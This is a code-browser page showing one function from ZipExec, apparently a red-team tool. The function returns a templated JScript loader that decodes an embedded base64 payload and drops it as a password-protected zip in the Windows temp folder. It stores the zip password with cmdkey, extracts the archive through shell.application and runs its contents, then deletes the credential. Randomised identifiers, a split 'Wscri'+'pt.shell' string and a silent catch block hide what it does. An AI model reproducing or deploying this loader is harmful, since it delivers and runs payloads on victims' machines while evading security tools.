MCPcopy Create free account
hub / github.com/Tylous/ZipExec / JSfile

Function JSfile

Loader/Loader.go:152–202  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

150}
151
152func JSfile() string {
153 return `
154 try {
155
156
157 var {{.Variables.fso}} = new ActiveXObject("Scripting.FileSystemObject");
158 var {{.Variables.dropPath}} = {{.Variables.fso}}.GetSpecialFolder(2);
159
160 var {{.Variables.base6411}}={ {{.Variables.characters}}:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",encode:function({{.Variables.atest}}){ {{.Variables.base6411}}.{{.Variables.characters}};var {{.Variables.rtest}}="",{{.Variables.ctest}}=0;do{var {{.Variables.etest}}={{.Variables.atest}}.charCodeAt({{.Variables.ctest}}++),{{.Variables.ttest}}={{.Variables.atest}}.charCodeAt(c++),{{.Variables.htest}}=a.charCodeAt(c++),s=(e=e||0)>>2&63,A=(3&e)<<4|(t=t||0)>>4&15,o=(15&t)<<2|(h=h||0)>>6&3,B=63&h;t?h||(B=64):o=B=64,{{.Variables.rtest}}+={{.Variables.base6411}}.{{.Variables.characters}}.charAt(s)+{{.Variables.base6411}}.{{.Variables.characters}}.charAt(A)+{{.Variables.base6411}}.{{.Variables.characters}}.charAt(o)+{{.Variables.base6411}}.{{.Variables.characters}}.charAt(B)}while(c<a.length);return {{.Variables.rtest}}}};
161 function Magic1({{.Variables.rtest}}){if(!/^[a-z0-9+/]+={0,2}$/i.test({{.Variables.rtest}})||{{.Variables.rtest}}.length%4!=0)throw Error("Not {{.Variables.base6411}} string");for(var t,e,n,o,i,a,f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",h=[],d=0;d<{{.Variables.rtest}}.length;d+=4)t=(a=f.indexOf({{.Variables.rtest}}.charAt(d))<<18|f.indexOf({{.Variables.rtest}}.charAt(d+1))<<12|(o=f.indexOf({{.Variables.rtest}}.charAt(d+2)))<<6|(i=f.indexOf({{.Variables.rtest}}.charAt(d+3))))>>>16&255,e=a>>>8&255,n=255&a,h[d/4]=String.fromCharCode(t,e,n),64==i&&(h[d/4]=String.fromCharCode(t,e)),64==o&&(h[d/4]=String.fromCharCode(t));return {{.Variables.rtest}}=h.join("")}
162 function {{.Variables.binaryWriter}}({{.Variables.res1}},{{.Variables.filename1}})
163 {var {{.Variables.base6411}}decoded=Magic1({{.Variables.res1}});var {{.Variables.TextStream11}}=new ActiveXObject('ADODB.Stream');{{.Variables.TextStream11}}.Type=2;{{.Variables.TextStream11}}.charSet='iso-8859-1';{{.Variables.TextStream11}}.Open();{{.Variables.TextStream11}}.WriteText({{.Variables.base6411}}decoded);var {{.Variables.BinaryStream}}=new ActiveXObject('ADODB.Stream');{{.Variables.BinaryStream}}.Type=1;{{.Variables.BinaryStream}}.Open();{{.Variables.TextStream11}}.Position=0;{{.Variables.TextStream11}}.CopyTo({{.Variables.BinaryStream}});{{.Variables.BinaryStream}}.SaveToFile({{.Variables.filename1}},2);{{.Variables.BinaryStream}}.Close()}
164
165 var {{.Variables.dll}} = '{{.Variables.dll_code}}'
166
167
168 {{.Variables.binaryWriter}}({{.Variables.dll}},{{.Variables.dropPath}}+"\\{{.Variables.FileName}}{{.Variables.dllext}}");
169 function {{.Variables.WindowsUnZip}}()
170 {
171 var {{.Variables.objShell}} = new ActiveXObject("shell.application");
172 var {{.Variables.WshShell}} = new ActiveXObject("WScript.Shell");
173 var {{.Variables.objFolder}};
174 var {{.Variables.FileExt}} = "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\HideFileExt";
175 var {{.Variables.ssfPROGRAMS}} = ""+{{.Variables.dropPath}}+"\\{{.Variables.FileName}}.zip";
176 {{.Variables.objFolder}} = {{.Variables.objShell}}.NameSpace({{.Variables.ssfPROGRAMS}});
177 var {{.Variables.objFolderItems}};
178 {{.Variables.objFolderItems}} = {{.Variables.objFolder}}.Items();
179 WScript.Sleep(5000);
180
181 var {{.Variables.w}} = {{.Variables.WshShell}}.RegRead({{.Variables.FileExt}});
182 if ({{.Variables.w}} < 1) {
183 {{.Variables.objFolderItem}} = {{.Variables.objFolderItems}}.Item({{.Variables.objFolderItems}}.Item(0).Name);
184 }else {
185 {{.Variables.objFolderItem}} = {{.Variables.objFolderItems}}.Item(({{.Variables.objFolderItems}}.Item(0).Name)+".exe");
186 }
187 {{.Variables.objFolderItem}}.Verbs().Item(0).DoIt()
188 }
189 var {{.Variables.pathworks}} = new ActiveXObject("Wscri"+"pt.shell");
190 var {{.Variables.PATH}} = {{.Variables.pathworks}}.ExpandEnvironmentStrings("%TEMP%");
191
192 var {{.Variables.Shell}} = new ActiveXObject("shell.application");
193 {{.Variables.Shell}}.ShellExecute('cmdkey', '/generic:Microsoft_Windows_Shell_ZipFolder:filename='+{{.Variables.PATH}}+'\\{{.Variables.FileName}}.zip /pass:{{.Variables.password}} /user:""','','',0);
194 {{.Variables.WindowsUnZip}}();
195 WScript.Sleep(5000);
196 {{.Variables.Shell}}.ShellExecute('cmdkey', '/delete Microsoft_Windows_Shell_ZipFolder:filename='+{{.Variables.PATH}}+'\\{{.Variables.FileName}}.zip','','',0);
197
198
199
200}catch(e) {
201}`
202}
203
204func WScript_Sandbox() string {
205 return `

Callers 1

JScriptLoader_BuffFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected